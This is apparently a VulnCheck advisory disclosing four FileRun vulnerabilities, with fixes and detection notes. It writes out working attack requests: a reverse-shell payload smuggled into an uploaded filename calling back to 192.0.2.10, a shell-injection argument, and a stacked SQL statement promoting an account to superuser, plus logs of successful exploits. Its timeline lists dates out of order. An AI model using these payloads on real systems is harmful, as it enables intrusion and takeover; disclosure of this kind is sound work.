Go back

FileRun: Four More Ways to Run Your Files

Today VulnCheck is disclosing four vulnerabilities in FileRun, the self-hosted file manager and sharing platform. They are being disclosed in accordance with VulnCheck's coordinated vulnerability disclosure policy, and all four were allocated through the VulnCheck CNA. Each one ends in remote code execution as the web-server user:

  • CVE-2026-73693 (CWE-78): a contact-sheet handler runs an attacker-chosen filename through a shell, so a file uploaded with a command in its name executes it.
  • CVE-2026-73694 (CWE-78): a superuser settings test endpoint passes an operator-supplied argument straight to a shell and reflects the output, a direct command channel.
  • CVE-2026-73698 (CWE-89): a delegated (non-superuser) administrator turns a control-panel field into raw SQL, including stacked statements.
  • CVE-2026-73699 (CWE-502): a permission blob deserialized on every page load instantiates arbitrary classes, which the SQL injection above weaponizes into a file write.

The most severe of the set is the delegated-admin SQL injection chained to the deserialization flaw (CVE-2026-73698 + CVE-2026-73699): a "simple" administrator account, several trust levels below the superuser, walks all the way to code execution and full database control.

FileRun's whole job is to let people move files around without handing them a shell. Four times over, it gives one out anyway. Twice it is a shell reached through a filename or an ffmpeg argument that never gets escaped. Once it is an account several rungs below the superuser that can rewrite its own permission row into raw SQL and, through a deserialization that fires on the next click, drop a file the server then runs. All four were reproduced against FileRun 2026.2.0. Two of them, both command injections (the contact sheet and the settings test endpoint), remained present in the 2026.2.1 release that added escaping to the thumbnail extractors, so upgrading to that "fixed" build did not close them. FileRun 2026.3.0, released on September 6, 2026, is the first build that closes all four.

Background

FileRun is a PHP application backed by MySQL/MariaDB, and it ships as ionCube-encoded bytecode rather than readable source, so every claim below was recovered by introspecting the encoded classes and confirmed dynamically against a FileRun 2026.2.0 lab. It has two administrative tiers: a single superuser, and any number of delegated ("simple") administrators who are granted a narrow slice of the control panel (managing groups, metadata, and so on). Almost everything an authenticated user does flows through a single-page application whose requests carry a CSRF token the front end reads from the index page. That token is only issued once a session cookie exists, so a client makes one throwaway request to obtain a session, then a second to read the token. Every request below assumes that token has been fetched and is sent in the X-CSRF-TOKEN header.

The four findings

Four distinct bugs, four CVEs: distinct root cause, distinct fix, so distinct ID. Three of them land code execution on their own, and the fourth is the deserialization the SQL injection needs to turn a database write into a file on disk.

FindingCVEClassRequires
Contact-sheet filename command injectionCVE-2026-73693OS command injection (CWE-78)any account with upload permission
Settings test-endpoint command injectionCVE-2026-73694OS command injection (CWE-78)superuser
Delegated-admin record SQL injectionCVE-2026-73698SQL injection (CWE-89)delegated ("simple") admin
Permission-blob object injectionCVE-2026-73699deserialization (CWE-502)reached through CVE-2026-73698

Finding 1 (CVE-2026-73693): a filename that runs

FileRun renders a "contact sheet" (a proof sheet of thumbnails) by asking ImageMagick to montage a set of images together. It builds that montage command line by wrapping each source file's path in double quotes and handing the whole string to the shell. Double quotes do not stop command substitution, so a path that contains $(...) is evaluated by the shell before ImageMagick ever sees it.

The only thing standing between an attacker and that sink is the upload filename filter, and it blocks the wrong characters. It rejects the filesystem-unsafe set \ / * ? < > | but lets $ ( ) { } ; & ~ ' and spaces through. Everything needed for command substitution survives. A file uploaded as $(id).jpg lands on disk with that exact name.

The attack is three requests: authenticate, upload two images (one weaponized, because the handler needs at least two files), then invoke the contact-sheet handler over both paths.

PUT /index.php/app/Drive/ui/!actions/up?path=/ROOT/HOME&filePath=/ROOT/HOME/$(php${IFS}-r${IFS}'...reverse shell...'${IFS}192.0.2.10${IFS}4444).x.jpg&startByte=0 HTTP/1.1
Content-Type: application/octet-stream

<a few bytes of JPEG>
POST /index.php/app/Drive/ui/handlers/handlers/PhotoProofSheet/!actions/ajax HTTP/1.1
Content-Type: application/x-www-form-urlencoded

paths[]=/ROOT/HOME/aaaa.jpg&paths[]=/ROOT/HOME/$(php${IFS}-r${IFS}'...'${IFS}192.0.2.10${IFS}4444).x.jpg

When the montage runs, the shell evaluates the filename and the payload fires as www-data. Because the filename filter still blocks /, the payload cannot use a /dev/tcp shell; a slash-free PHP fsockopen loop works instead, and ${IFS} supplies the spaces. Any account with upload permission can do this. A public share link cannot, because no single link role grants both creating a file with an arbitrary name and reading it back for the montage.

The 2026.2.1 update escaped four other thumbnail extractors but left this handler untouched, so the patched build is still exploitable. The same file-based montage construction is present in the recovered application going back several release years, wherever ImageMagick thumbnails are enabled.

Finding 2 (CVE-2026-73694): a shell with the output returned to you

FileRun ships its own function named the same as PHP's shell-escaping builtin, but it does nothing except normalize slashes and trim whitespace. It shadows the real one everywhere the code thinks it is sanitizing a command, so shell metacharacters pass straight through.

The cleanest way to reach it is the superuser settings screen that tests an ffmpeg binary. It takes an operator-supplied argument string, concatenates it directly into the command it runs, and returns the command's output inline in its JSON response. That makes it a fully interactive shell with the output handed back to you, no file to drop:

POST /index.php/app/Core/!cpanel/!super/settings/!actions/image_preview?action=checkFFmpeg HTTP/1.1
Content-Type: application/x-www-form-urlencoded

path=echo&args=; id; #

The response comes back as JSON with the executed command's output embedded in it. This one requires the superuser, and the endpoint is a 2026-era addition, so it does not exist on the older release line. It is unchanged in 2026.2.1.

Finding 3 (CVE-2026-73698 + CVE-2026-73699): from a delegated admin to code execution

The last two are one chain. It starts in the layer that builds INSERT and UPDATE statements from a record. That layer decides how to place each value by looking at its PHP type: a string is quoted, an integer is spliced in unquoted, and an array is spliced in raw from its first element. The control-panel handlers copy request fields into the record without forcing them to strings, so sending a field that is normally text in its array form turns it into a raw SQL expression. Because the database driver runs with emulated prepared statements, that expression can carry stacked statements, and they all run.

A field like description is the vector. Sent normally it is text; sent as description[] it is SQL:

POST /index.php/app/Core/!cpanel/users/groups/!actions/add HTTP/1.1
Content-Type: application/x-www-form-urlencoded

name=x&description[]=(SELECT '');UPDATE df_users_permissions SET admin_type='super' WHERE uid=4-- -

That single request is already a full privilege escalation: a delegated administrator promotes their own account. A delegated admin reaches these handlers; the superuser is not required.

To turn injection into code execution without a database file-write privilege, the chain leans on the second flaw. A routine that loads a user's permissions runs on every authenticated page load and deserializes that user's own stored permission blob. It calls the deserializer in a way that still allows arbitrary classes to be instantiated (the option that would forbid it is passed in the wrong position and has no effect). The superuser's row is skipped, which is exactly why the attack targets a non-superuser account.

So the exploit uses the injection to write a serialized object gadget into its own permission column, then loads any authenticated page. The gadget's cleanup routine serializes an internal structure to a file and writes it into the web root, and the attacker's payload rides along inside it as the file contents. Loading that file back is code execution. The tool stashes the original permission value first and restores it afterward, deletes the two staging records it created, and removes the dropped file, so the account is left as it was.

Initial Access exploits

VulnCheck's Initial Access Intelligence team turned all three code execution paths into self-contained go-exploit modules. Each fingerprints FileRun, authenticates with the credentials it is given, drives its own sink, and either catches a connect-back or runs a single command and returns the output.

The contact sheet, catching a reverse shell as www-data:

chocapikk@pwntoaster:~/feed/cve-2026-73693$ ./build/cve-2026-73693_linux-amd64 -v -e -rhost 127.0.0.1 -rport 8091 -vhost chocapikk.com -fr-username superuser -fr-password superuser -lhost 192.168.128.1 -lport 4321 -c2 SimpleShellServer
time=2026-08-25T07:29:06.974+02:00 level=STATUS msg="Starting target" index=0 host=127.0.0.1 port=8091 ssl=false "ssl auto"=false
time=2026-08-25T07:29:06.974+02:00 level=STATUS msg="Validating FileRun target" host=127.0.0.1 port=8091
time=2026-08-25T07:29:06.994+02:00 level=SUCCESS msg="Target verification succeeded!" host=127.0.0.1 port=8091 verified=true
time=2026-08-25T07:29:06.994+02:00 level=STATUS msg="Building a php reverse shell to 192.168.128.1:4321"
time=2026-08-25T07:29:07.159+02:00 level=STATUS msg="Authenticated as superuser"
time=2026-08-25T07:29:07.215+02:00 level=STATUS msg="Uploaded the benign and weaponized images"
time=2026-08-25T07:29:07.243+02:00 level=STATUS msg="Waiting up to 30 seconds for the shell as www-data"
time=2026-08-25T07:29:07.905+02:00 level=SUCCESS msg="Caught new shell from 192.168.128.3:38406"
time=2026-08-25T07:29:07.905+02:00 level=STATUS msg="Active shell from 192.168.128.3:38406"
time=2026-08-25T07:29:08.244+02:00 level=SUCCESS msg="Exploit successfully completed" exploited=true
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
hostname
d30c14de7338
exit

The settings test endpoint, running a command and returning the output inline:

chocapikk@pwntoaster:~/feed/cve-2026-73694$ ./build/cve-2026-73694_linux-amd64 -v -e -rhost 127.0.0.1 -rport 8091 -vhost chocapikk.com -fr-username superuser -fr-password superuser -lhost 127.0.0.1 -lport 4444 -command 'id; uname -sr'
time=2026-08-25T07:06:38.178+02:00 level=STATUS msg="Starting target" index=0 host=127.0.0.1 port=8091 ssl=false "ssl auto"=false
time=2026-08-25T07:06:38.178+02:00 level=STATUS msg="Validating FileRun target" host=127.0.0.1 port=8091
time=2026-08-25T07:06:38.195+02:00 level=SUCCESS msg="Target verification succeeded!" host=127.0.0.1 port=8091 verified=true
time=2026-08-25T07:06:38.352+02:00 level=STATUS msg="Authenticated as superuser"
time=2026-08-25T07:06:38.382+02:00 level=SUCCESS msg="Command output:"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux 7.0.0-29-generic
time=2026-08-25T07:06:38.382+02:00 level=SUCCESS msg="Exploit successfully completed" exploited=true

The delegated-admin chain, as a deleg account with no superuser rights, self-cleaning after it lands:

chocapikk@pwntoaster:~/feed/cve-2026-73698$ ./build/cve-2026-73698_linux-amd64 -v -e -rhost 127.0.0.1 -rport 8091 -vhost chocapikk.com -fr-username deleg -fr-password deleg -lhost 127.0.0.1 -lport 4444 -command 'id; uname -sr'
time=2026-08-25T07:16:29.426+02:00 level=STATUS msg="Starting target" index=0 host=127.0.0.1 port=8091 ssl=false "ssl auto"=false
time=2026-08-25T07:16:29.427+02:00 level=STATUS msg="Validating FileRun target" host=127.0.0.1 port=8091
time=2026-08-25T07:16:29.445+02:00 level=SUCCESS msg="Target verification succeeded!" host=127.0.0.1 port=8091 verified=true
time=2026-08-25T07:16:29.625+02:00 level=STATUS msg="Authenticated as deleg"
time=2026-08-25T07:16:29.625+02:00 level=STATUS msg="Injecting the object-injection gadget into admin_over"
time=2026-08-25T07:16:29.647+02:00 level=STATUS msg="Triggering the page-load unserialize to drop the webshell"
time=2026-08-25T07:16:29.666+02:00 level=SUCCESS msg="Command output:"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux 7.0.0-29-generic
time=2026-08-25T07:16:29.666+02:00 level=STATUS msg="Restoring admin_over and removing the staging groups"
time=2026-08-25T07:16:30.124+02:00 level=SUCCESS msg="Exploit successfully completed" exploited=true

Timeline

DateEvent
2026-08Four vulnerabilities discovered and reproduced against FileRun 2026.2.0 in a docker lab
2026-08CVE-2026-73693, CVE-2026-73694, CVE-2026-73698 and CVE-2026-73699 allocated through the VulnCheck CNA; vendor coordination initiated
2026-09-06FileRun 2026.3.0 released, taking the shell out of every external-program invocation and fixing the role-management SQL injection and permission deserialization, closing all four vulnerabilities; the photo proof sheet fix (CVE-2026-73693) is credited to Valentin Lobstein
2026-12-15Coordinated-disclosure deadline
2026-09-10Public disclosure

Fix

Each root cause has an obvious, local fix. The two command injections need real argument escaping before anything reaches a shell, and the shadowing function that pretends to do it has to stop doing nothing: escape the argument list the contact-sheet montage is built from, and escape the ffmpeg argument the settings test endpoint runs. The SQL injection needs the record builder to cast request fields to strings before they enter a record and to reject arrays for columns that are fed from request data, so a scalar field cannot arrive as a raw SQL expression. The deserialization needs class instantiation forbidden on the permission blob, by passing the option in its correctly keyed form rather than the position that silently disables it. Each of the four produces a distinctive request a network sensor can match without false positives (a proof-sheet path carrying a command-substitution sequence, an ffmpeg-test argument carrying a shell metacharacter, a normally-scalar record field arriving in its array form with a stacked statement), and Suricata and Snort signatures for all three code execution paths ship with the modules.

FileRun shipped these fixes in FileRun 2026.3.0, released on September 6, 2026. The changelog spans over 270 changes and warns that "several of the vulnerabilities it fixes are severe," advising an immediate upgrade. It takes the shell out of every external-program call: the paths for FFmpeg, ImageMagick, vips, LibreOffice, and Apache Tika are no longer "placed into a command line and run through a shell," and their arguments are now passed individually without shell interpretation, which closes both command injections (CVE-2026-73693 and CVE-2026-73694). It also fixes the database injection on role management and the unsafe deserialization on role editing pages, closing the delegated-admin chain (CVE-2026-73698 and CVE-2026-73699), and adds the missing CSRF protection on admin metadata field-set creation. The changelog credits the photo proof sheet fix (CVE-2026-73693) to Valentin Lobstein.

Takeaways

The theme across all four is trust that was spent one layer too early. The upload filter decides which characters are dangerous by thinking about the filesystem and forgets the shell that reads the filename later. The record builder decides how to quote a value by trusting its PHP type and forgets that the type came from an attacker. The permission loader deserializes a blob it assumes it wrote, on every page load, without forbidding the classes an attacker can smuggle in. And the "simple" administrator, a role designed to be a safe subset of the superuser, turns out to reach the one code path that reads its own permission row back as an object. None of these needs the superuser; the delegated-admin chain in particular starts from an account a hosting customer or a junior operator would legitimately hold.

The patch story is the part worth keeping. The 2026.2.1 release added escaping to the thumbnail extractors, which reads from the outside like the command-injection class was closed, so an operator who upgrades inherits the verdict that FileRun is fixed. The contact-sheet handler and the settings test endpoint were byte-for-byte the same in that build, so "the extractors are escaped now" quietly became "command injection is gone," when all it honestly meant was "these four extractors are escaped." The class-level fix only landed in 2026.3.0 on September 6, 2026, which finally took the shell out of every external-program invocation and closed the contact sheet and the settings test endpoint along with the delegated-admin chain. Treat any FileRun build before 2026.3.0 as reachable-to-RCE from any account with upload permission, and from a delegated admin to full database control, and upgrade to 2026.3.0 or later.

Further reading: For the first half of this research, read FileRun: When Your File Manager Runs Your Files.

About VulnCheck

VulnCheck empowers organizations to transcend the challenges of vulnerability prioritization. Our suite of solutions provides product managers, PSIRT teams, and threat hunters with the tools required for accelerated, high-precision operations and infinite efficiency.

Recognizing the industry-wide necessity for superior data velocity and accuracy, we deliver high-fidelity insights to the market. We remain committed to surfacing critical intelligence on vulnerability exploitation and emerging trends, leveraging our unique dataset to support the practitioner community.

To deepen your understanding of these threats, VulnCheck Exploit & Vulnerability Intelligence provides comprehensive coverage of global threat actors. Register for a demo to explore our intelligence today.

Ready to get Started?

Explore VulnCheck, a next-generation Cyber Threat Intelligence platform, which provides exploit and vulnerability intelligence to help you prioritize and remediate vulnerabilities that matter.
  • Vulnerability Prioritization
    Prioritize vulnerabilities that matter based on the threat landscape and defer vulnerabilities that don't.
  • Early Warning System
    Real-time alerting of changes in the vulnerability landscape so that you can take action before the attacks start.